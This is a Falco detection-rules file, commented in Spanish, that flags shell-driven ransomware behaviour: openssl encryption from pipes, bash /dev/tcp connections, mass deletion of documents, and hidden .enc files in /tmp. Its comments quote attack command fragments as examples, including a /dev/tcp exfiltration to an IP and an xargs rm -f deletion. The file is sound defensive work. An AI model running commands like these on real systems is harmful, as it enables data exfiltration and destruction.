# Falco rules: detección comportamental de ransomware LOLBin
# Probadas contra tarbulk.sh y xargs_ransom.sh
# MITRE ATT&CK: T1059.004 (Unix Shell), T1486 (Data Encrypted for Impact), T1048 (Exfiltration)

# ---------------------------------------------------------------------------
# Macros
# ---------------------------------------------------------------------------

- macro: shell_proc
  condition: proc.name in (bash, sh, dash, ksh, zsh)

- macro: doc_extensions
  condition: >
    fd.name endswith ".txt" or
    fd.name endswith ".pdf" or
    fd.name endswith ".docx" or
    fd.name endswith ".doc" or
    fd.name endswith ".db"  or
    fd.name endswith ".sh"  or
    fd.name endswith ".zip"

- macro: user_dirs
  condition: >
    fd.directory startswith "/home" or
    fd.directory startswith "/root" or
    fd.directory startswith "/var/www"

# ---------------------------------------------------------------------------
# Regla 1: openssl enc invocado desde shell sin -in (leyendo de pipe)
#
# Detecta: tar ... | openssl enc ... > /tmp/.vault.enc
# También detecta la variante xargs con -pass pass:KEY
#
# Falsos positivos esperados: scripts de backup legítimos que cifren con
# openssl. Mitigar añadiendo proc.aname[2] != "cron" o whitelistando usuarios
# de backup en allowed_backup_users.
# ---------------------------------------------------------------------------

- list: allowed_backup_users
  items: [backup, root]

- rule: Shell Spawning OpenSSL Bulk Encryption
  desc: >
    Un proceso shell invocó openssl enc con cifrado AES. Sin -in explícito
    (lee de pipe) y con -pass en línea de comandos. Patrón característico
    de ransomware LOLBin via tar|openssl o xargs|openssl.
  condition: >
    spawned_process and
    shell_proc and
    proc.name = "openssl" and
    proc.cmdline contains "enc" and
    proc.cmdline contains "aes" and
    proc.cmdline contains "-pass" and
    not user.name in (allowed_backup_users)
  output: >
    openssl enc desde shell, posible cifrado masivo
    (user=%user.name uid=%user.uid
     cmd=%proc.cmdline
     parent=%proc.pname ppid=%proc.ppid)
  priority: WARNING
  tags: [lolbin, ransomware, T1486, T1059.004]

# ---------------------------------------------------------------------------
# Regla 2: bash abriendo socket TCP directamente (/dev/tcp)
#
# Detecta: printf '...' > /dev/tcp/192.168.1.5/9090
#
# bash no debería abrir conexiones TCP salientes directamente.
# Si lo hace, es exfiltración via /dev/tcp o reverse shell.
#
# Falsos positivos: scripts de healthcheck que usen /dev/tcp para probar
# conectividad. Mitigar con proc.pname != "systemd" o allowlist de puertos.
# ---------------------------------------------------------------------------

- list: allowed_tcp_dests
  items: []   # añadir IPs internas si hay falsos positivos

- rule: Bash Native TCP Exfiltration
  desc: >
    bash abrió un socket TCP directo. Indica uso de /dev/tcp, técnica de
    exfiltración que no requiere curl, wget ni ningún binario externo.
    Alta fidelidad: bash no debería conectarse a la red directamente.
  condition: >
    evt.type = connect and
    fd.typechar = "4" and
    shell_proc and
    not fd.rip in (allowed_tcp_dests)
  output: >
    bash abrió conexión TCP directa, posible /dev/tcp exfiltración
    (user=%user.name uid=%user.uid
     dst=%fd.rip:%fd.rport
     pid=%proc.pid cmd=%proc.cmdline)
  priority: CRITICAL
  tags: [lolbin, exfiltration, T1048, T1059.004]

# ---------------------------------------------------------------------------
# Regla 3: eliminación masiva de documentos de usuario desde shell
#
# Detecta: printf '%s\0' "${TARGETS[@]}" | xargs -0 rm -f
#          (3470 llamadas unlink en ~4 segundos)
#
# Esta regla se dispara una vez por archivo eliminado. El VOLUMEN es la
# señal: 3470 alertas en 4 segundos es inconfundible en un SIEM.
# Con Falco + Falcosidekick puedes agregar y alertar sobre el rate.
# ---------------------------------------------------------------------------

- rule: Mass Document Deletion by Shell Process
  desc: >
    Proceso shell eliminando archivos de documento en directorios de usuario.
    Individualmente normal; a escala (cientos/segundo) es la fase de
    destrucción de ransomware. Correlacionar con Regla 1 para alta confianza.
  condition: >
    evt.type in (unlink, unlinkat) and
    proc.name in (rm, bash, sh) and
    doc_extensions and
    user_dirs
  output: >
    documento de usuario eliminado por proceso shell
    (user=%user.name uid=%user.uid
     file=%fd.name
     proc=%proc.name cmd=%proc.cmdline)
  priority: WARNING
  tags: [ransomware, destruction, T1486]

# ---------------------------------------------------------------------------
# Regla 4: archivo opaco grande creado en /tmp
#
# Detecta: openssl enc ... > /tmp/.vault.enc  (29 MB, nombre con punto)
#
# Un archivo con nombre oculto (punto) y extensión .enc en /tmp es
# indicador fuerte de staging de datos exfiltrados o vault cifrado.
# ---------------------------------------------------------------------------

- rule: Hidden Encrypted Archive Staged in Tmp
  desc: >
    Se creó un archivo oculto con extensión .enc en /tmp. Patrón de
    tarbulk: el vault cifrado se escribe en /tmp antes de exfiltrarse.
    Los archivos legítimos en /tmp raramente tienen nombre oculto + .enc.
  condition: >
    evt.type in (open, openat) and
    evt.arg.flags contains O_CREAT and
    fd.directory = "/tmp" and
    fd.filename startswith "." and
    fd.name endswith ".enc"
  output: >
    archivo cifrado oculto creado en /tmp, posible vault de ransomware
    (user=%user.name uid=%user.uid
     file=%fd.name
     proc=%proc.name cmd=%proc.cmdline)
  priority: CRITICAL
  tags: [ransomware, staging, T1486, T1074]
